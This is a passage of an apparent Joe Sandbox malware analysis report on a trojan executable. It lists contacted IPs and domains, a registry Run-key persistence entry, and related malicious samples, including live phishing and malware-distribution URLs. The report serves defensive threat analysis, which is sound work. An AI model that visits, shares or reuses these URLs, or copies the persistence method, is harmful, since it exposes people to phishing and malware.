fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pb-games.com/e	fs7AQcREFX.exe, 00000000.00000003.619032185.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vexcom.com/m	fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.naoi-a.com/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.399549475.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517712783.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.515047997.0000000000D70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.397997118.0000000003600000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.398199427.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pb-games.com/s	fs7AQcREFX.exe, 00000000.00000003.506150313.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/x	fs7AQcREFX.exe, 00000000.00000002.714421237.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.626019620.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.628908863.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.632199741.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.629010341.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vexcom.com/B	fs7AQcREFX.exe, 00000000.00000003.621337796.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.228.163.56	cdl-lb-1356093980.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
104.26.7.17	jabian.com	United States	13335	CLOUDFLARENETUS	true
104.24.161.27	fundeo.com	United States	13335	CLOUDFLARENETUS	true
217.69.139.150	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	true
198.49.23.145	unknown	United States	53831	SQUARESPACEUS	true
67.21.93.229	num6.17986.net	United States	46844	ST-BGPUS	true
76.74.184.61	alexpope.biz	Canada	13768	COGECO-PEER1CA	true
203.137.75.45	okashimo.com	Japan	4694	IDCFIDCFrontierIncJP	true
172.67.152.159	unknown	United States	13335	CLOUDFLARENETUS	false
104.20.55.214	bible.org	United States	13335	CLOUDFLARENETUS	false
153.126.211.112	mikihan.com	Japan	7684	SAKURA-ASAKURAInternetIncJP	true
217.160.0.131	mackusick.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
3.130.204.160	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false
18.66.192.87	unknown	United States	3	MIT-GATEWAYSUS	false
49.212.243.77	listel.co.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
194.143.194.23	reproar.com	Spain	8311	REDESTELRedestel-RedesdigitalesdeTelecomunicacionenI	true
5.189.171.125	muhr-soehne.de	Germany	51167	CONTABODE	true
83.223.113.46	dataform.co.uk	United Kingdom	29017	GYRONGB	true
91.229.22.126	pleszew.policja.gov.pl	Poland	198704	CSD-KGP-PL-ASBiuroLacznosciiInformatykiPL	true
5.39.75.157	bosado.com	France	16276	OVHFR	true
172.67.165.62	www.snugpak.com	United States	13335	CLOUDFLARENETUS	false
34.197.121.219	unknown	United States	14618	AMAZON-AESUS	false
13.248.169.48	www.findbc.com	United States	16509	AMAZON-02US	true
85.128.196.22	strazynski.pl	Poland	15967	NAZWAPL	true
173.194.202.27	unknown	United States	15169	GOOGLEUS	false
202.254.236.40	www.naoi-a.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
173.194.202.26	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
81.2.194.241	www.edimart.hu	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false
217.19.254.22	shanks.co.uk	United Kingdom	60819	SAFENAMES-ASGB	true
35.186.238.101	onzcda.com	United States	15169	GOOGLEUS	false
216.177.137.32	fortknox.bm	United States	395532	1P-WSSUS	true
93.189.66.202	ssm.ch	Switzerland	12347	VIRTUALTECCH	true
74.208.215.145	indonesiamedia.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
18.66.192.94	d2kt7vovxa5e81.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
54.36.175.146	biurohera.pl	France	16276	OVHFR	true
46.30.60.158	ncn.de	Germany	15817	MITTWALD-ASMittwaldCMServiceGmbHundCoKGDE	true
104.21.23.9	www.jenco.co.uk	United States	13335	CLOUDFLARENETUS	true
78.46.224.133	amic.at	Germany	24940	HETZNER-ASDE	true
192.99.226.184	s5w.com	Canada	16276	OVHFR	true
49.212.180.178	kumaden.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
195.78.66.50	www.photo4b.com	Poland	41079	SUPERHOST-PL-ASPL	false
137.118.26.67	fnw.us	United States	6250	NEONOVA-NETUS	false
192.124.249.9	fdlymca.org	United States	30148	SUCURI-SECUS	true
188.166.152.188	www.c9dd.com	Netherlands	14061	DIGITALOCEAN-ASNUS	false
185.230.63.171	sokuwan.net	Israel	58182	WIX_COMIL	true
185.253.212.22	karmy.com.pl	Poland	48707	GREENER-ASPL	true
210.140.73.39	at-shun.com	Japan	4694	IDCFIDCFrontierIncJP	true
70.39.251.249	quadlock.com	United States	54641	INMOTI-1US	false
104.26.7.221	unknown	United States	13335	CLOUDFLARENETUS	false
62.75.216.137	www.tyrns.com	Germany	8972	GD-EMEA-DC-SXB1DE	false
62.122.170.171	shztm.ru	Czech Republic	50245	SERVEREL-ASNL	true
99.84.88.4	unknown	United States	16509	AMAZON-02US	false
213.142.131.159	pcoyuncu.com	Turkey	397563	ADEOXTECHUS	true
203.0.113.0	nme.co.jp	Reserved	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	true
51.159.3.117	ossir.org	France	12876	OnlineSASFR	true
82.201.61.230	www.nelipak.nl	Netherlands	15879	KPN-INTERNEDSERVICESNL	false
79.124.76.247	mkm-gr.com	Bulgaria	31083	TELEPOINTBG	true
192.124.249.3	pers.com	United States	30148	SUCURI-SECUS	true
34.102.136.180	hamaker.net	United States	15169	GOOGLEUS	false
52.71.57.184	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	true
61.200.81.23	yasuma.com	Japan	2914	NTT-COMMUNICATIONS-2914US	true
192.241.158.94	nunomira.com	United States	14061	DIGITALOCEAN-ASNUS	false
172.67.164.178	clinicasanluis.com.co	United States	13335	CLOUDFLARENETUS	true
63.251.106.25	kewlmail.com	United States	29791	VOXEL-DOT-NETUS	true
195.96.252.188	nlcv.bas.bg	Bulgaria	8745	AS-BG-BASBG	true
85.233.160.146	hbfuels.com	United Kingdom	8622	ISIONUKNamescoLimitedGB	true
104.21.79.166	simetar.com	United States	13335	CLOUDFLARENETUS	true
165.227.252.190	crcsi.org	United States	14061	DIGITALOCEAN-ASNUS	false
185.151.30.147	pertex.com	United Kingdom	48254	TWENTYIGB	true
199.34.228.78	ftmobile.com	United States	27647	WEEBLYUS	true
208.80.123.104	gbp-jp.com	United States	16552	TIGGEEUS	true
103.168.172.217	in1.smtp.messagingengine.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
198.185.159.145	mijash3.com	United States	53831	SQUARESPACEUS	true
198.185.159.144	captlfix.com	United States	53831	SQUARESPACEUS	true
85.159.66.62	amele.com	Turkey	34619	CIZGITR	true
211.13.196.162	unknown	Japan	7514	MEXComputerEngineeringConsultingLtdJP	true
103.168.172.221	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
35.172.94.1	themark.org	United States	14618	AMAZON-AESUS	true
76.223.35.103	nrsi.com	United States	16509	AMAZON-02US	true
92.204.129.113	lpver.com	Germany	398108	GO-DADDY-COM-LLCUS	true
159.89.244.183	tcpoa.com	United States	14061	DIGITALOCEAN-ASNUS	true
69.163.239.62	sjbs.org	United States	26347	DREAMHOST-ASUS	false
104.26.3.124	unknown	United States	13335	CLOUDFLARENETUS	false
66.94.119.160	www.yocinc.org	United States	394513	AWESOMENET-CORPUS	false
204.11.56.48	impexnc.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
154.203.14.100	www.mobilnic.net	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
108.167.164.216	aevga.com	United States	46606	UNIFIEDLAYER-AS-1US	false
5.196.166.214	www.spanesi.com	France	16276	OVHFR	false
185.76.64.25	kallman.net	Sweden	200719	MISSDOMAINSE	true
47.91.167.60	popbook.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
64.125.133.18	reglera.com	United States	393631	DLSS-CA-EMERYVILLE-ASUS	false
213.186.33.16	doggybag.org	France	16276	OVHFR	true
213.186.33.17	unknown	France	16276	OVHFR	false
104.21.8.75	siongann.com	United States	13335	CLOUDFLARENETUS	true
93.187.206.66	www.yoruksut.com	Turkey	43391	NETDIREKT-ASTR	true
87.230.93.218	dwid.de	Germany	8972	GD-EMEA-DC-SXB1DE	true
82.208.6.9	insia.com	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
104.26.15.53	www.elpro.si	United States	13335	CLOUDFLARENETUS	false
157.112.176.4	www.11tochi.net	Japan	9371	SAKURA-CSAKURAInternetIncJP	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879119
Start date and time:	2023-05-31 14:48:48 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	fs7AQcREFX.exe
Original Sample Name:	6bb40ed95f770955ea7cf27e4785612e.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@19/4@1964/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.6% (good quality ratio 60.6%) Quality average: 81.3% Quality standard deviation: 27.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 104 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.21.63.28, 172.67.142.169, 204.79.197.212
Excluded domains from analysis (whitelisted): www.ottospm.com.cdn.cloudflare.net, a-0010.a-msedge.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: fs7AQcREFX.exe

Simulations

Behavior and APIs

Time	Type	Description
14:49:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
14:50:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
14:50:48	API Interceptor	2x Sleep call for process: fs7AQcREFX.exe modified
14:51:05	API Interceptor	4x Sleep call for process: pigalicapi.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.228.163.56	LV-700317.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.bigmamasfood.com/bb27/?6lgXi2XP=LLqE50UICs27rzyCSnXoAxkAjQNeQX4++4zP0SPmyAW4Ic4sQmOk57jABVfQJzBxcoJk&0lThl=L2J81DZP9D-X0V
104.26.7.17	6gjnnBAbpc.exe	Get hash	malicious	Pushdo	Browse
	rLDmqbpt5D.exe	Get hash	malicious	Pushdo, DanaBot, RedLine, SmokeLoader	Browse
	d4bNCWDk1F.exe	Get hash	malicious	Pushdo	Browse
	MYorfmVq9Z.exe	Get hash	malicious	Pushdo	Browse
	z2xQEFs54b.exe	Get hash	malicious	HTMLPhisher	Browse
	990109.exe	Get hash	malicious	HTMLPhisher	Browse
	https://nenalandia-tv.blogspot.com/2012/09/alejandra-alloza-28092012.html?rndad=1476455992-1578670554	Get hash	malicious	Audio Phisher	Browse
	ze99HWZnJK.exe	Get hash	malicious	Unknown	Browse
104.24.161.27	rLDmqbpt5D.exe	Get hash	malicious	Pushdo, DanaBot, RedLine, SmokeLoader	Browse
	jByRaPZ2js.exe	Get hash	malicious	Unknown	Browse
	A5VY5aB4rk.exe	Get hash	malicious	Unknown	Browse
	z2xQEFs54b.exe	Get hash	malicious	HTMLPhisher	Browse
	kvdYhqN3Nh.exe	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
holp-ai.com	6gjnnBAbpc.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	iJzpyjAehB.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	EksRd2mRLH.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	d4bNCWDk1F.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	1EsDtA4mep.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	lCVLEXbxih.exe	Get hash	malicious	Pushdo, DCRat, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	h9Gwq0fYVO.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	59.106.13.169
	foNMlXr86C.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	nwk9iV8lpS.exe	Get hash	malicious	Unknown	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	59.106.13.169
	3ts2As2Bkm.exe	Get hash	malicious	Unknown	Browse	59.106.13.169
	ZBfaaLcshZ.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	jByRaPZ2js.exe	Get hash	malicious	Unknown	Browse	59.106.13.169
	TLURH6Og6c.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	https://1drv.ms/b/s!AkXfquEP1S_WchXVqGYpLRP0q04	Get hash	malicious	Unknown	Browse	52.5.13.197
	https://bookme.name/carolcommuni/pdf-documentation-review	Get hash	malicious	Unknown	Browse	44.211.195.229
	https://www.bing.com/ck/a?!&&p=c06ae40dcc410344JmltdHM9MTY4NTMxODQwMCZpZ3VpZD0xNTQ1NWMwOS1iMjE5LTYwZTEtM2RhMi00ZWNiYjNkOTYxOTEmaW5zaWQ9NTE4NA&ptn=3&hsh=3&fclid=15455c09-b219-60e1-3da2-4ecbb3d96191&u=a1aHR0cHM6Ly93d3cuYW1jaGFtLmdlL2FyY2hpdmUucGhw#info@balidea.com&ntb=1	Get hash	malicious	Captcha Phish	Browse	34.193.113.164
	https://bafkreibuogfvo5akbbivqo6hsznxbrxdvibhrcs6xwaiabrdtv5ij7l3yq.ipfs.infura-ipfs.io/	Get hash	malicious	HTMLPhisher	Browse	52.2.229.63
	https://d9c01edc-81e7-450f-a564-043294d846a1.id.repl.co/	Get hash	malicious	Unknown	Browse	3.233.152.239
	https://bancolombia--com-mobileapp.repl.co/	Get hash	malicious	Unknown	Browse	3.233.152.248
	https://apiservices.krxd.net/click_tracker/track?kx_event_uid=LR25EaJr&clk=https://eccenter.com.br/podldo/NaVhUXbTGgdAktotGnItErBubGHydgSTBmLfipghRfbvwRxYfb/Y3N3YWl0c0BwZWxsYS5jb20=	Get hash	malicious	Unknown	Browse	54.85.240.191
	http://eloisastyle.rivetingweb.com/xmlrpc/includes/chasenew/chasenew/chase/index.html	Get hash	malicious	Unknown	Browse	54.243.231.55
	https://rollins-mkt-prod1.campaign.adobe.com/rln/getImage.jssp?m=ebe0a673-b585-4d5f-8b02-173d6da0ca15&e=boss&l=brandlogo&i=http%3A%2F%2Fnovozymes.com.sj0w.vegaslv.sa.com/a?ZWxhbUBub3ZvenltZXMuY29t	Get hash	malicious	Unknown	Browse	54.173.95.250
	https://truworths.zoom.us/j/91818342671?pwd=MHFHK3Fqak9xMkQ2Rkh2emJVZXB4QT09	Get hash	malicious	Unknown	Browse	54.227.249.145
	https://truworths.zoom.us/j/95234014661?pwd=NEpSZ1F3T1NTczB3dVZST0NrN09DQT09	Get hash	malicious	Unknown	Browse	54.227.249.145
	https://www2.casewareafrica.co.za/e/100322/NRV-Update-NRV-January2024-zip/pt5k32/661262086?h=Dx-Ku4_B6mRmjoQrdQh4gHjJt42bwHLARLOte4s-os4	Get hash	malicious	Unknown	Browse	18.208.125.13
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	3.5.10.150
	https://internationalimmigrationconsultants.com/nres/?6088731	Get hash	malicious	Unknown	Browse	3.87.181.196
	https://rolltondown.live/?utm_campaign=INccHxHRWrew3TQsLBbfNnbGFYUZobMqxXT9Zrw5FhI1&t=main9	Get hash	malicious	Unknown	Browse	3.230.17.182
	EXTERNAL You have received EFT#9994 for your review today.msg	Get hash	malicious	HTMLPhisher	Browse	54.227.187.23
	http://soldbyltrealty.kw.com	Get hash	malicious	HTMLPhisher	Browse	3.233.155.112
	https://xe9d48lnhhq.typeform.com/to/dDmb6nCH	Get hash	malicious	HTMLPhisher	Browse	54.91.27.150
	https://rollins-mkt-prod1.campaign.adobe.com/rln/getImage.jssp?m=ebe0a673-b585-4d5f-8b02-173d6da0ca15&e=boss&l=brandlogo&i=http%3A%2F%2Flongos.com.T2cW.ibegin.cl/m?YWxleC5rcmFtZXJAbG9uZ29zLmNvbQ==	Get hash	malicious	Unknown	Browse	34.193.113.164
	main2.dll	Get hash	malicious	Qbot	Browse	54.161.105.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Cobro_Juridico_Historial_de_pago.vbs	Get hash	malicious	Njrat, PasteDownloader	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	file.ps1	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	main.ps1	Get hash	malicious	KDOT TOKEN GRABBER	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	AEJR1569.js	Get hash	malicious	NetSupport RAT	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	https://docs.google.com/drawings/d/1yyXXrwkMe93YDIykPC-d3JWZ3X37agPJMgGC3eIiv0w/preview	Get hash	malicious	HTMLPhisher	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	npp.8.5.3.Installer.x64342423423423424242423423424.bat	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	Pagamento.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	rBillofLading05-25-2023.exe	Get hash	malicious	AveMaria	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	SCAN_DOC_003930_doc.exe	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	02705399.exe	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	02705399.exe	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	HIOY0568.js	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	Voucher_Booking_Reservation_Detail_09888846348.vbs	Get hash	malicious	AsyncRAT	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	06472899.js	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	file.js	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	file.js	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	DHLR0238.js	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	ZiF5ZmXL4v.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
	https://updateab0be.blogspot.com/atom.xml	Get hash	malicious	Unknown	Browse	172.67.156.49 188.114.96.7 172.67.164.178 185.237.66.112 91.229.22.126
37f463bf4616ecd445d4a1937da06e19	scan129.js	Get hash	malicious	NetSupport RAT	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	04587099.exe	Get hash	malicious	Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	DHL_0079488601.pdf.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	clienti.js	Get hash	malicious	Unknown	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	clienti.js	Get hash	malicious	Unknown	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	scan620462076210-.pdf.js	Get hash	malicious	Unknown	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	VSiqfvLPjE.exe	Get hash	malicious	Nymaim	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	VSiqfvLPjE.exe	Get hash	malicious	Nymaim	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	01575799.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	file.exe	Get hash	malicious	Djvu	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.156.49 49.212.235.175 188.114.97.7 94.130.146.206 188.114.96.7 185.237.66.112 35.214.171.193 83.223.113.46 91.229.22.126 172.67.164.178 75.2.95.235
